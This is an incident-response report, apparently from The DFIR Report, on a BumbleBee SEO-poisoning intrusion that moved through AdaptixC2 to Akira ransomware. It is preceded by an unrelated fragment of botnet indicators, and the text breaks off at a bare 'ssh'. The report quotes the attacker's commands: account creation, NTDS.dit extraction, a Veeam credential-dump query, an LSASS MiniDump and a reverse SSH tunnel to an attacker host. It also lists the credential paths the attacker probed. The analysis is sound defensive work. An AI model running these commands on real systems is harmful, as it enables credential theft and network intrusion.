c2.tuxbot.local - DNS fall-back C2 domain (hard coded in binary) cfcybernews[.]eu - Test domain leaked by CF bypass module captcha.kanfetka[.]site - Test domain leaked by CAPTCHA bypass module digikalas[.]online - Developer domain jetross[.]com - TLS certificate linking the C2 server to the dropper Host Indicators: Infected By Akiru - Console output after bot execution /bin/busybox Akiru - Busybox probe during Telnet scanning Akiru: applet not found - Expected response to busybox probe sd-pam.service - Systemd persistence service name /tmp/.%08x.lock - Lock file format for single-instance enforcement Network Indicators: 0xDEADBE01 + 32 bytes - C2 handshake initiation (X25519 public key) 0xDEADBEEF + 12-byte nonce + ciphertext + 16-byte MAC - Encrypted C2 packet format User-Agent: TuxBot - HTTP requests from bot User-Agent: r00ts3c-owned-you - RCE (dead code, inherited from MHDDoS) SSH banner: SSH-2.0-CNC-Control-Server - C2 SSH service (Shodan fingerprint) Exploited CVEs Implemented but never called at runtime: Completely Broken (exploit VM magic mismatch, never executes): QiAnXin XLab – AISURU Botnet Reports Cloudflare Radar – DDoS Threat Reports
unit42.paloaltonetworks.comJul 15, 2026extracted
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira
Key Takeaways In July 2025, BumbleBee malware was deployed via SEO poisoning through a trojanized installer for ManageEngine OpManager. Following initial access, BumbleBee dropped an AdaptixC2 beacon to facilitate further intrusion activities, allowing the threat actor to pivot to a domain controller and dump the NTDS.dit. The threat actor returned the following day and established an SSH proxy, enabling lateral movement across the network and data exfiltration via FileZilla and SFTP to an external server. The threat actor concluded the intrusion by deploying Akira ransomware across the root domain and returned two days later to encrypt a child domain. This case was first reported to customers in a threat brief released in July 2025 and in a public flash alert in August 2025 in partnership with Swisscom B2B CSIRT, which observed another intrusion tied to the same campaign. This report contains data from both intrusions. We plan to release a DFIR Labs case based on this report later this quarter. Case Summary The BumbleBee intrusion was initiated in July 2025 via an SEO poisoning attack that lured a user searching for “ManageEngine OpManager” to a look-alike domain. Upon downloading a trojanized MSI installer, the BumbleBee first-stage loader (msimg32.dll) was executed on a beachhead host via DLL side-loading. The loader immediately established command-and-control (C2) communication with threat actor-controlled infrastructure. Approximately five hours after the initial infection, the threat actor deployed AdgNsy.exe, a renamed instance of the legitimate Windows Address Book utility, which was injected with AdaptixC2 shellcode. This established a persistent C2 channel, enabling the threat actor to perform living-off-the-land discovery commands such as systeminfo and nltest to map the internal network. To ensure persistence, the threat actor created new domain accounts with Enterprise Admin privileges and installed RustDesk as a Windows service on multiple servers. On the second and third days, the threat actor moved laterally using RDP to pivot to a domain controller and a backup server. They engaged in extensive credential harvesting, utilizing wbadmin.exe to extract the NTDS.dit Active Directory database and executing custom PowerShell scripts to dump and decrypt Veeam credentials via DPAPI. The threat actor also employed the lsassy utility to dump LSASS memory across multiple hosts. Throughout the intrusion, the threat actor leveraged defense evasion and tunneling techniques. This included using a reverse SSH tunnel to proxy RDP traffic and bypass firewall restrictions, as well as employing mixed-case command-line obfuscation (e.g., pOWerShELl.exE). In a parallel incident, they even used a Bring Your Own Vulnerable Driver (BYOVD) attack to neutralize endpoint security controls. Data exfiltration was primarily facilitated through FileZilla, which the threat actor likely introduced into the environment via RDP clipboard. Over 75GB of data, including file shares, sensitive user credentials, and SYSVOL domain configurations were exfiltrated to an threat actor controlled server in Ukraine. The intrusion culminated approximately 44 hours after initial access with the deployment of Akira ransomware (staged as locker.exe), which used WMI to delete Volume Shadow Copies and maximize impact across the infrastructure. If you would like to get an email when we publish a new report, please subscribe here. The DFIR Report Offerings Check out our Products here and our Services here. Want a demo, more information on our services, pricing or just want to chat? Get in Touch Analysts Analysis and reporting completed by Jake, Dino, Ahmed Farouk & Mattison Schuch. Reviewed by Angelo Violetti & Renzon Cruz Initial Access The BumbleBee intrusion was initiated in July 2025 via a SEO poisoning attack. A user searching Bing for “ManageEngine OpManager”, a network monitoring suite, was lured to opmanager[.]pro, a sophisticated lookalike domain. This site served a cloned interface that redirected the victim to download-center[.]online, ultimately delivering a trojanized MSI installer instead of the legitimate software. Forensic analysis of the browser history mapped the sequence of redirects leading to the malicious host. The victim subsequently moved the malicious MSI to an internal network share; from there, an IT administrator executed the file on the beachhead host. Delivery Infrastructure This intrusion aligns with a broader BumbleBee SEO poisoning campaign that Cyjax first identified in May 2025. The operation utilized a standardized, two-tier delivery architecture: Tier 1: Impersonation Front-ends – Malvertising domains (e.g., opmanager[.]pro ,zenmap[.]pro ) that appeared in Bing search results. These sites served high-fidelity clones of legitimate download pages to establish trust. Tier 2: Universal Delivery Gateways – Backend servers hosting trojanized MSI installers. By using a uniform URL parameter (/Get?q= ), the same infrastructure could dynamically serve various malicious packages. This pattern is a reliable pivot point for researchers on platforms like urlscan.io. Two separate waves of activity were observed, masquerading as various enterprise software suites to facilitate BumbleBee infections. Technical analysis revealed significant infrastructure overlap across both waves: all download gateways resolved to Hostinger (AS47583) and utilized a shared code-signing certificate issued to “LLC Vector.” Potentially Related Campaign In October 2025, Zscaler documented a parallel campaign targeting user searching for Ivanti VPN. This operation used SEO poisoning to lure victims to a fraudulent download page, delivering a trojanized MSI designed to exfiltrate saved VPN credentials. This campaign exhibited a near-identical tactical fingerprint to the BumbleBee waves, specifically: Delivery Mechanics: A consistent two-tier model leveraging Bing SEO poisoning and the specific /Get?q= URL parameter. Infrastructure Overlap: Passive DNS analysis confirms that the Ivanti gateways (netml[.]shop ,shopping5[.]shop ) utilized the same Hostinger staging IP (84.32.84.32) as the Wave 1 gateway,soft-server[.]online . Naming Conventions: The Ivanti campaign employed the same ftp. subdomain pattern observed throughout Wave 2. Despite the infrastructure overlap, several key operational divergences distinguish this activity from the BumbleBee waves: Payload: The campaign distributed a dedicated VPN credential stealer rather than the BumbleBee loader. Signature Attribution: The MSI is signed by a Chinese entity (Hefei Qiangwei Network Technology), deviating from the Russian-based “LLCs” observed in previous waves. C2 Architecture: Upon execution, the stealer beaconed to a hardcoded Azure IP (4.239.95[.]1:8080 ), bypassing the Domain Generation Algorithm (DGA) infrastructure characteristic of BumbleBee Waves 1 and 2. Swisscom The Swisscom linked BumbleBee intrusion originated from a management server, where an IT administrator navigated to ip-scanner[.]org. This impersonation site masqueraded as the official Advanced IP Scanner portal to lure users into downloading a malicious payload. Although the site content had changed by the time of analysis, forensic inspection of the DOM tree revealed residual strings and metadata explicitly tied to Advanced IP Scanner, confirming its previous role as a deceptive lookalike domain. Execution BumbleBee – ManageEngine-OpManager.msi After copying the malicious MSI from the network share to a server, the infection started with the execution of ManageEngine-OpManager.msi from the user’s desktop. Forensic telemetry confirmed explorer.exe as the parent process, validating that the file was manually launched by the user. This successful initial access was the direct result of the threat actor’s masquerading tactics, which effectively leveraged a high-fidelity decoy to deceive the administrator into authorizing the installation. The choice to impersonate a ManageEngine installer indicates a deliberate effort to target high-value users, such as IT staff and System Administrators. These accounts typically possess elevated privileges and are often subject to fewer restrictions than standard user profiles. Furthermore, targeting these roles increases the likelihood of execution on critical infrastructure, including file servers and domain controllers. Technical analysis of the ManageEngine-OpManager.msi payload revealed a revoked code-signing certificate issued to “LLC Resource+.” Tracking provided by certgraveyard.org shows that this signer has a history of signing BumbleBee-related malware. The ManageEngine-OpManager.msi installer dropped three distinct binaries into %TEMP%\ApplicationInstallationFolder_11. This setup was designed to facilitate DLL side-loading: ManageEngine_OpManager_64bit.exe : The legitimate software used as a decoy to avoid user suspicion. consent.exe : A legitimate Windows binary leveraged to initiate the execution chain. msimg32.dll : The BumbleBee first-stage loader, which is automatically loaded by the legitimate process to bypass security detections. Interestingly, the metadata of msimg32d.dll is dictionary-derived gibberish, which is a known BumbleBee builder pattern across waves. They are extremely useful as a YARA signature because the strings collide essentially nowhere in benign software. consent.exe and DLL Side-Loading The ManageEngine-OpManager.msi functioned as a dual-purpose installer. While it deployed the authentic OpManager software to satisfy user expectations, it simultaneously stages a DLL side-loading attack within the %APPDATA% directory. By placing a legitimate, signed Windows binary (consent.exe) in the same folder as a malicious msimg32.dll, the threat actor exploits the Windows DLL search order. When the staged consent.exe was executed, it prioritized loading the local, malicious msimg32.dll over the legitimate version residing in C:\Windows\System32. This allowed the BumbleBee loader to run within the memory space of a trusted Windows process, effectively masking its presence from many signature-based security tools. Analysis provided by tria.ge showed that consent.exe and the legitimate OpManager installer were dropped and executed by the malicious MSI. The Sigma rule System File Execution Location Anomaly was triggered since it looks for execution of commonly abused Windows built-in binaries (consent.exe) outside of their normal path; in this case, the binary executed from the victim’s AppData folder. Upon execution, consent.exe loaded the malicious msimg32.dll (the BumbleBee loader). The loader immediately checked the system locale GetSystemDefaultLocaleName() and compared it against a hard-coded list of 27 CIS-region locales (Russia, Ukraine, Belarus, etc.). If a match was found, the loader terminated via ExitProcess(). If the loader passed the geofencing check, it began querying numerous dynamically generated domain names associated with the BumbleBee malware family. Swisscomm – Bumblebee In the Swisscom intrusion, the user downloaded Advanced-IP-Scanner.msi directly to a management server. This installer functioned as a malicious wrapper. It successfully deployed the legitimate Advanced IP Scanner software to avoid raising suspicion while simultaneously dropping the BumbleBee loader. Following the MSI’s execution, the malware staged additional artifacts in the %TEMP% directory, establishing the initial foothold on the server while the administrator proceeded with the expected utility. The malicious payload was staged immediately after the user granted administrative privileges via the User Account Control (UAC) prompt. Static analysis of the BumbleBee DLL (msimg32) revealed several anomalous strings within its PE metadata. Specifically, the ‘Original Filename’ and ‘Description’ fields contained values inconsistent with the legitimate Windows library, serving as a key indicator of its malicious nature. Furthermore, the digital signature on the msimg32 DLL was traced to a certificate issued to a Russian-based entity. This mirrored the signing patterns observed in previous BumbleBee waves, suggesting a consistent supply chain for their malicious binaries. Adaptix C2- AdgNsy.exe Following the initial BumbleBee beacon, the loader retrieved and executed AdgNsy.exe. Forensic analysis identified this file as a renamed instance of the legitimate WAB.exe (Windows Address Book) utility. The attack used this binary for process injection: the loader executed the masqueraded WAB.exe and injected it with Adaptix shellcode. This resulted in an active Adaptix C2 HTTP beacon that, in this instance, utilized default configuration settings for its communication profile. Deeper analysis of this activity is covered in the Defense Evasion section. ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe ParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding OriginalFileName: WAB.EXE CommandLine: C:\Users\ \AppData\Local\AdgNsy.exe Following the establishment of the C2 channel, the threat actor initiated discovery and enumeration activities. Analysis of the process telemetry revealed a series of living-off-the-land commands used to map the environment: Host/User Discovery: whoami ,systeminfo ,quser Domain/Network Reconnaissance: nltest ,ping Furthermore, they leveraged the beacon for internal network scanning, signaling the start of lateral movement preparation within the victim infrastructure. Swisscom – Adaptix C2 In the Swisscom incident, a 40-minute dwell time preceded the deployment of an Adaptix C2 agent. The loader dropped an authentic version of the Windows Contacts utility into a user-writable folder to facilitate process injection. This mechanism was used to execute Adaptix C2 shellcode, initiating an outbound connection to 170.130.55[.]223. Persistence Domain Account Creation On the initial day of the intrusion, the threat actor moved to establish persistent administrative access by creating two new domain accounts via net.exe. The account names backup_DA and backup_EA were likely chosen to blend in with legitimate administrative naming conventions: net user backup_DA P@ssw0rd1234 /add /dom net user backup_EA P@ssw0rd1234 /add /dom Following creation, the threat actor immediately performed privilege escalation by adding the backup_EA account to the Enterprise Admins group, granting them the highest level of authority across the entire Active Directory forest: net group "enterprise admins" backup_EA /add /dom Services Following the initial compromise, the threat actor used RDP to pivot to two internal servers. The objective was to install RustDesk, which was subsequently registered as a Windows service. Administrator Account Manipulation On the second day of the intrusion, the threat actor engaged in account takeover across high-value assets. By executing net user administrator P@ssw0rd!, they established direct control over local administrative contexts on the file and backup servers. The operation culminated in the reactivation of the built-in Domain Administrator account on the primary domain controller. Swisscom In the Swisscom observed intrusion, the threat actor achieved persistence on a domain controller by installing the Cloudflare tunneling software as a Windows service, causing it to run automatically after the host rebooted. Cloudflared has multiple capabilities that are useful for threat actors: Bypasses firewalls and NAT by initiating outbound connections. Encrypts traffic using HTTPS, making inspection more difficult. Avoids the need for port forwarding by using reverse tunneling. Routes the traffic through Cloudflare, which appears legitimate and can evade detection. Requires minimal configuration and is easy to deploy. The installation was performed through a PowerShell script called 1.ps1, which downloaded the software and registered a new service for it. Based on the comments in the script and the strings output in the PowerShell console, it is likely that 1.ps1 was developed with generative AI tools. Privilege Escalation There were a limited number of privilege escalation techniques observed during this incident due to the threat actor obtaining a privileged session by compromising a domain admin in the first instance. Defense Evasion DLL Sideloading The BumbleBee loader established its initial foothold via DLL search order hijacking. The threat actor staged a malicious msimg32.dll file in a user-writable directory alongside a relocated copy of consent.exe (the legitimate Windows UAC binary). Upon execution of consent.exe, the operating system prioritized the local, malicious DLL over the authentic version in System32, triggering the loader’s execution. This hijacked execution flow was corroborated by Sysmon event logs, which captured the anomalous process creation and image loading. Static analysis using PEStudio confirmed that msimg32.dll is a legitimate, expected dependency of the consent.exe binary. The threat actor exploited this imported dependency to facilitate DLL side-loading. Process Injection The deployment of the Adaptix C2 agent was orchestrated through a multi-stage execution chain. The BumbleBee-controlled consent.exe process first dropped AdgNsy.exe to the local disk. The threat actor initiated execution via Windows Management Instrumentation (WMI). By using WMI to launch the binary, the threat actor ensured that AdgNsy.exe spawned under WmiPrvSE.exe. Immediately following execution, Sysmon Event ID 10 (ProcessAccess) recorded the BumbleBee-controlled consent.exe gaining a handle on the AdgNsy.exe process. The associated call trace provided critical evidence of process injection by revealing the specific memory addresses and API calls, such as ntdll.dll and kernelbase.dll leveraged by the loader to reflectively inject the Adaptix shellcode into the trusted process. C:\Windows\SYSTEM32\ntdll.dll+9f3b4|C:\Windows\System32\KERNELBASE.dll+2aafe|C:\Windows\System32\hasherezade_pussy.dll+1ae8f|C:\Windows\System32\hasherezade_pussy.dll+1aee8|C:\Windows\System32\hasherezade_pussy.dll+baca|C:\Windows\System32\hasherezade_pussy.dll+1214d|C:\Windows\System32\hasherezade_pussy.dll+12292d|C:\Windows\System32\KERNEL32.DLL+14ed0|C:\Windows\SYSTEM32\ntdll.dll+7e39b Memory analysis of the AdgNsy.exe process confirmed the presence of unbacked execution. Analysts identified a thread whose entry point originated outside of the known binary’s image space, an indicator of shellcode execution. Furthermore, the discovery of multiple private, non-image regions with Read/Write/Execute (RWX) protections provides conclusive evidence of injected code residing in memory. Scanning the memory of the hijacked AdgNsy.exe process revealed active C2 configuration strings and beaconing artifacts. Because these artifacts were not found during a static analysis of the AdgNsy.exe file, it is clear that the malicious code was injected post-execution. To further support these findings, consent.exe was executed alongside the malicious BumbleBee msimg32.dll via DLL sideloading in a controlled analysis environment, consistent with the observed execution behavior. During runtime, the memory analysis tool PE-sieve, developed by the malware analyst hasherezade, was executed against the live consent.exe process. This resulted in the identification and extraction of an anomalous, unmapped in-memory module dumped as hasherezade_pussy.dll. This module corresponds to the same DLL referenced in the previously observed Sysmon call trace. Subsequent analysis of hasherezade_pussy.dll indicated that it contained functionality related to environment and virtualization checks, encrypted payload handling, and process injection. Strings within the module reference multiple Win32 and NTAPI functions commonly used for process injection, supporting the hypothesis that shellcode was injected into AdgNsy.exe. File Deletion Forensic analysis of host telemetry revealed a pattern of secure file deletions intended to minimize the attack’s local footprint. By monitoring Sysmon Event ID 23, we identified the precise timestamps and file paths of the components removed by the threat actor, including the initial loaders and reconnaissance logs. Case variation in command execution The threat actor utilized command-line obfuscation by employing inconsistent, mixed-case strings for process execution. Invocations such as CmD.eXe and pOWerShELl.exE were likely used to evade case-sensitive detection signatures or rudimentary pattern-matching rules within security monitoring tools. Swisscom In the Swisscom incident, the threat actor attempted to neutralize endpoint security controls by employing a Bring Your Own Vulnerable Driver (BYOVD) attack. They deployed three potentially malicious or known-vulnerable drivers to the %TEMP% directory and registered them as new system services to gain kernel-level privileges: Service: mgdsrv | Path: ...\AppData\Local\Temp\rwdrv.sys Service: KMHLPSVC | Path: ...\AppData\Local\Temp\hlpdrv.sys Forensic evidence from the RecentApps registry artifact suggested these drivers were managed by high-confidence “AV-killer” utilities. Although the executables were deleted prior to acquisition, the GUI execution history tracked the following paths: C:\ProgramData\av_kill_new\icardagt\icardagt.exe C:\ProgramData\av_kill_old\mfpmp\mfpmp.exe Credential Access NTDS.dit On the second day, the threat actor utilized the high-privilege backup_EA account to access a domain controller via RDP. The objective was to perform offline credential harvesting by extracting the Active Directory database (ntds.dit). Using the native Windows utility wbadmin.exe, the threat actor created a volume shadow copy backup containing the ntds.dit file and the SYSTEM and SECURITY registry hives. These files were staged in C:\ProgramData, providing the threat actor with all the necessary components to crack domain-wide password hashes offline. wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include:C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY -quiet Following the backup, they were observed using Notepad to review the backup logs, likely verifying the integrity of the stolen data before exfiltration. Following this activity, the threat actor rotated between nine different accounts while conducting their operation. Veeam Credential Dump Despite already having domain admin privileges, the threat actor extracted the credentials stored in the Veeam PostgreSQL database present in the backup server. The query was executed four different times from two accounts: Interactive Access: Three queries were performed via RDP sessions, suggesting manual verification of the credentials. Automated Extraction: A final query was executed remotely via WMI, utilizing an encoded PowerShell script to invoke the psql.exe utility. C:\Program Files\PostgreSQL\15\bin\psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" The WMI-based execution was spawned via WmiPrvSE.exe and used an encoded PowerShell command. ParentImage: WmiPrvSE.exe Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /Q /c powershell.exe -e JABQAG8AcwB0AGcAcgB1AFMAcQBsAEUAeABlAB1AGMAIAAa9ACAA... The decoded script extracted the credentials and decrypted them using DPAPI, by handling both legacy Veeam password storage and newer versions using a hard-coded salt value. Remote LSASS Memory Dump On day three, the threat actor targeted three hosts for LSASS memory dumping using the comsvcs.dll MiniDump technique. The threat actor used an automated toolset to cycle through four distinct remote execution methods per host in rapid succession (approximately 50 seconds total): SMB: Service creation via svcctl . WMI: Remote process invocation. Scheduled Tasks: Remote task registration and triggering. DCOM: Lateral movement via the MMC20.Application object. Image: C:\Windows\System32\rundll32.exe CommandLine: rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 \Windows\Temp\ . full The memory dumps were staged in \Windows\Temp using randomized filenames and deceptive extensions. The specific filenames observed across the targeted hosts were G7wO.sys, U8Vfsh.docx, and AsaZQZDJz.avhdx. This behavior is a high-confidence match for the lsassy credential dumping utility. The tool’s IDumpMethod base class defaults to the exact sequential execution order observed in this incident: smb, wmi, task, then mmc. Furthermore, the observed extensions correspond directly to lsassy‘s hardcoded randomization list, and the use of \Windows\Temp aligns with the tool’s default staging directory. Under the hood, lsassy leverages the Impacket library for remote orchestration. The four observed execution methods correspond directly to specific Impacket modules: smbexec.py : Facilitates SMB service creation. wmiexec.py : Manages WMI remoting. atexec.py : Handles remote scheduled task registration. mmcexec.py : Executes via DCOM. Detailed forensic artifacts and detection strategies for these specific techniques are documented in SnapAttack’s technical analysis. Discovery Approximately five hours after initial access, the AdaptixC2 process (AdgNsy.exe) was executed on the beachhead host after which the threat actor performed hands‑on‑keyboard discovery. /c systeminfo /c nltest /dclist: /c whoami /groups /c nltest /domain_trusts /c nltest /dclist:REDACTED.lan /c ping -n 1 REDACTED.lan /c ping -n 1 REDACTED.lan (...) /c ping -n 1 REDACTED.lan /c ping -n 1 REDACTED.lan Shortly afterwards, a network scan was initiated from the AdgNsy.exe process, targeting common ports such as SMB, RDP and LDAP. The threat actor then executed more system and network discovery commands on the beachhead. /c quser /server:REDACTED.lan /c quser /server:REDACTED.lan /c dir C:\\programdata /c dir C:\\\\programdata /c nltest /dclist: /c nltest /domain_trusts /c nltest /dclist:REDACTED.lan /c net group domain admins /dom /c net group "domain admins" /dom /c whoami /groups /c ping -n 1 REDACTED.lan On day two of the intrusion, the threat actor established an RDP session to a domain controller using a newly created user and performed further discovery. systeminfo C:\Windows\system32\NOTEPAD.EXE C:\Windows\Logs\WindowsServerBackup\Backup-REDACTED.log net user adminiatrstor net user administrator net group domain admins /dom Approximately 30 minutes later, the threat actor initiated RDP sessions to two additional servers and queried the local administrator account on each using the command net user administrator On day three of the intrusion, the threat actor again logged into the domain controller, executed discovery commands, and then dropped a SoftPerfect Network Scanner binary (n.exe), which was executed to perform a network scan. ping -n 1 REDACTED.lan ping -n 1 REDACTED.lan quser The execution of SoftPerfect Netscan can be confirmed by both the SMB traffic as well as the creation of the file delete.me, which the tool does when testing a folder’s write-ability. After running the network scanner, the threat actor connected to a file server via RDP and ran a couple of discovery commands. systeminfo net user administrator Shortly after, they connected to a backup server using RDP and executed more discovery commands: net user administrator net group net user C:\Windows\system32\taskmgr.exe /4 quser net localgroup net localusers net localuser net localgroup administrators net accounts Returning to the domain controller, the threat actor enabled the domain administrator account and enumerated group memberships. net user administrator /active:yes /dom net group net group REDACTED /dom Approximately 40 minutes later, a PowerShell script was executed on the domain controller to enumerate Service Principal Names (SPNs) for specific services, resolve their hostnames to IP addresses, and write the result to spn.txt. The output was reviewed manually using Notepad. Shortly after, Invoke-Sharefinder was executed to enumerate accessible SMB shares. Invoke-ShareFinder is a reconnaissance utility designed to enumerate accessible network file shares (SMB) across a domain. It was originally developed as part of the PowerView module within the PowerSploit framework, but has since been integrated into numerous offensive projects. Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\programdata\shares.txt On day five, two days later, the same command was re-executed on the domain controller, with the results manually inspected via Notepad. Subsequently, the threat actor leveraged an RDP session from a RustDesk host to pivot to a child domain controller. Upon gaining access, the threat actor initiated a fresh phase of discovery, primarily utilizing native system utilities to map the new environment. "C:\Windows\system32\taskmgr.exe" /4 systeminfo Following that, the threat actor leveraged PowerShell to enumerate domain computers and user objects, query and export DNS zone data from a domain controller, identify accessible SMB shares, and run the same SPN enumeration script observed earlier in the intrusion. Get-ADComputer -Server 10.REDACTED -Filter * -Property * | Select-Object Enabled, Name, DNSHostName, IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, LastLogonDate, whenChanged, whenCreated | export-csv -path C:\ProgramData\AdComputers.csv Get-ADUser -Server 10.REDACTED -Filter * -Properties * | Select-Object Enabled, CanonicalName, CN, Name, SamAccountName, MemberOf, Company, Title, Description, Created, Modified, PasswordLastSet, LastLogonDate, logonCount, Department, telephoneNumber, MobilePhone, OfficePhone, EmailAddress, mail, HomeDirectory, homeMDB | export-csv -path C:\ProgramData\AdUsers.csv Get-DnsServerZone -ComputerName REDACTED.lan Export-DnsServerZone -Name "REDACTED.lan" -FileName "REDACTED.txt" Export-DnsServerZone -Name "REDACTED.lan" -FileName "REDACTED.lan.txt" Export-DnsServerZone -Name "TrustAnchors" -FileName "TrustAnchors.txt" Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\programdata\shares.txt The outputs from these discovery activities were manually reviewed. The threat actor then dropped and executed a SoftPerfect Network Scanner binary (n.exe) on the child domain controller to perform a network scan. Finally, additional net commands and pings were issued to validate connectivity and enumerate backup and file servers. Lateral Movement The primary vector for lateral movement was native Windows RDP, used both through standard application access and SSH RDP tunneling. By leveraging the elevated backup_EA account, the threat actor successfully accessed nearly every available RDP instance in the environment. While they eventually rotated through several compromised domain accounts to maintain mobility, the pivotal initial pivot was established from the beachhead host to the Domain Controller using the backup_EA credentials. Forensic evidence showed the creation of a reverse SSH tunnel, a tactic used to expose internal RDP sessions to an threat actor-controlled external server: ssh [email protected][.]150 -R *:10400 -p22 ssh [email protected][.]150 : Established a session with the threat actor’s remote C2 server. -R *:10400 : Configured a reverse port forward. This binded port10400 on the remote server to an internal resource. The wildcard (* ) ensured the tunnel listened on all remote interfaces, facilitating external access. -p22 : Specified the standard SSH port for the connection. Subsequent logs confirmed a successful connection bridge to the local RDP port (3389) via ssh.exe, effectively bypassing firewall restrictions to provide the threat actor with direct GUI access to the internal network. While performing authentication through this tunnel, we observed the following workstation names from the threat actor: WORK kali Swisscom Leveraging a compromised Domain Admin account, the threat actor performed lateral movement to the domain controller and various servers using multiple protocols, primarily RDP. The RDP sessions were established via a Cloudflare tunnel, which effectively obfuscated the threat actor’s origin. This was confirmed by Windows Event Logs (EVTX), which recorded connections originating from the local loopback address (::%16777216) or known threat actor-controlled servers. This specific IP artifact is a sign of RDP tunneling, as the connection is proxied through a local process rather than a remote network address. The following workstation names were identified as associated with the threat actor’s activity: DESKTOP-HPLM2TD DESKTOP-KLKBBTS SERVER kali Collection Multiple collection artifacts were observed throughout the incident. The threat actor used a combination of legitimate Windows utilities, well-known PowerShell modules such as Invoke-ShareFinder, and prebuilt collection scripts to compile and collect data on the environment. Automated Collection Scanning Automated scanning was observed that appeared to target typical credential and config data stores. This activity directly preceded installation and execution of FileZilla, so it is possible this data was the primary focus for exfiltration. Network share access logs (Event ID 5145) captured the threat actor systematically checking for credential and data storage in the following locations. Note that Event ID 5145 logs access attempts whether or not the target path exists, so this represents the threat actor’s enumeration efforts rather than confirmation that all directories were present: Credential Theft: Users\\Administrator\\AppData\\Roaming\\Microsoft\\Protect\\ (DPAPI master keys) Users\\Administrator\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\ (RSA private keys) Users\\Administrator\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\ (User certificates) Users\\Administrator\\AppData\\Local\\Microsoft\\Credentials\\ (Windows Credential Manager) Users\\Administrator\\AppData\\Roaming\\Microsoft\\Credentials\\ (Windows Credential Manager) Browser Data (Passwords, Cookies, Autofill): Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\ Users\\Administrator\\AppData\\Local\\Microsoft\\Edge\\User Data\\ Users\\Administrator\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\ Users\\Administrator\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\ Cloud Platform Credentials: Users\\Administrator\\.aws\\ (AWS credentials) Users\\Administrator\\AppData\\Roaming\\gcloud\\ (Google Cloud credentials) Users\\Administrator\\AppData\\Roaming\\Windows Azure Powershell\\ (Azure credentials) Users\\Administrator\\.azure\\ (Azure CLI credentials) Password Manager Applications: Users\\Administrator\\AppData\\Local\\1Password\\ Users\\Administrator\\AppData\\Local\\LastPass\\ Users\\Administrator\\AppData\\Local\\KeePass\\ Users\\Administrator\\AppData\\Roaming\\Dashlane\\ Users\\Administrator\\AppData\\Local\\Bitwarden\\ Users\\Administrator\\AppData\\Local\\RoboForm\\ Users\\Administrator\\AppData\\Local\\StickyPassword\\ Users\\Administrator\\AppData\\Local\\NordPass\\ Users\\Administrator\\AppData\\Local\\Enpass\\ Development/Source Code Directories: Users\\Administrator\\source\\repos\\ Users\\Administrator\\workspace\\ Users\\Administrator\\IdeaProjects\\ Users\\Administrator\\PycharmProjects\\ Users\\Administrator\\AndroidStudioProjects\\ Users\\Administrator\\Documents\\NetBeansProjects\\ Users\\Administrator\\Documents\\Xcode\\ Users\\Administrator\\CLionProjects\\ Users\\Administrator\\RubyMineProjects\\ Users\\Administrator\\Documents\\Qt\\ Users\\Administrator\\Documents\\CodeBlocks\\ Users\\Administrator\\RiderProjects\\ Users\\Administrator\\PhpStormProjects\\ Remote Access Tool: Users\\Administrator\\AppData\\Local\\mRemoteNG\\ (settings and connection configs) Users\\Administrator\\AppData\\Roaming\\mRemoteNG\\ (settings and connection configs) Other: Users\\Administrator\\AppData\\Roaming\\Notepad++\\backup\\ These were all identified by reviewing 5145 events on the file server. Command and Control The threat actor used BumbleBee, AdaptixC2 and RustDesk, in addition to a reverse SSH tunnel to establish connections to their C2 infrastructure. BumbleBee Immediately upon execution, the BumbleBee process attempted to connect to multiple DGA-generated domains. While several failed to resolve, successful connections were established with 188.40.187[.]145:443 and 109.205.195[.]211:443 using the domains ev2sirbd269o5j[.]org and 2rxyt9urhq0bgj[.]org respectively. The BumbleBee configuration was extracted from Tria.ge and verified through analysis of the running process and host artifacts. Throughout the intrusion, the malware persistently attempted connections to DGA domains identified in the configuration, eventually establishing communication with additional IP addresses, including 171.22.183[.]43. Approximately five hours post-initial execution, BumbleBee dropped AdgNsy.exe, which used code injection to initialize AdaptixC2 on the beachhead host. A concurrent spike in network traffic between the BumbleBee process and 109.205.195[.]211 indicates that this IP facilitated the payload download. AdaptixC2 AdaptixC2 is a relatively new open-source post-exploitation and adversarial emulation framework. Although originally designed for legitimate penetration testing, it is increasingly being leveraged by threat actors in malicious campaigns. Further technical details on the framework are available in this Unit42 analysis. The AdaptixC2 beacon, delivered via AdgNsy.exe on the beachhead host, maintained persistent command-and-control (C2) communication with 172.96.137[.]160 throughout the intrusion. Notably, there was a cessation of activity between days three and five, during which no beaconing was observed. The following graph illustrates the AdaptixC2 traffic patterns over the course of the intrusion. The IP address 172.96.137[.]160 was hosted by Shock Hosting. We were able to extract the configuration of the AdaptixC2 beacon, which validated the host artifacts discovered on the beachhead host. RustDesk On the second day, RustDesk was installed on two Windows servers and executed in system tray mode. "C:\Program Files\RustDesk\RustDesk.exe" --tray On day three, the threat actor re-entered the environment via RustDesk on a primary server. Although the RustDesk process was already resident in the system tray, a Windows Security Event 4624 was recorded, showing an interactive logon (Type 2) from the localhost address (127.0.0.1). This event was immediately followed by the execution of the RustDesk connection manager, confirming that the threat actor had established a remote desktop session to the endpoint. "C:\Program Files\RustDesk\RustDesk.exe" --cm Additionally, RustDesk logs on the host show clipboard and screen-sharing activity consistent with an interactive remote desktop session, lasting for several hours. Reverse SSH tunnel On day three, the threat actor performed lateral movement from the initial server to a domain controller via RDP. Once on the DC, the threat actor leveraged the built-in Windows SSH client to establish a reverse tunnel to a remote host, effectively proxying subsequent malicious activity through this encrypted channel. This same reverse SSH tunneling technique was later identified on a separate Windows server on day five. However, SSH traffic was only observed between the domain controller and the external IP on day three. We also tracked login activity to the domain controller from a Kali Linux host shortly following the creation of the reverse SSH tunnel. Swisscom observed the same technique; however, in this case, the threat actor accessed a different IP address: ssh 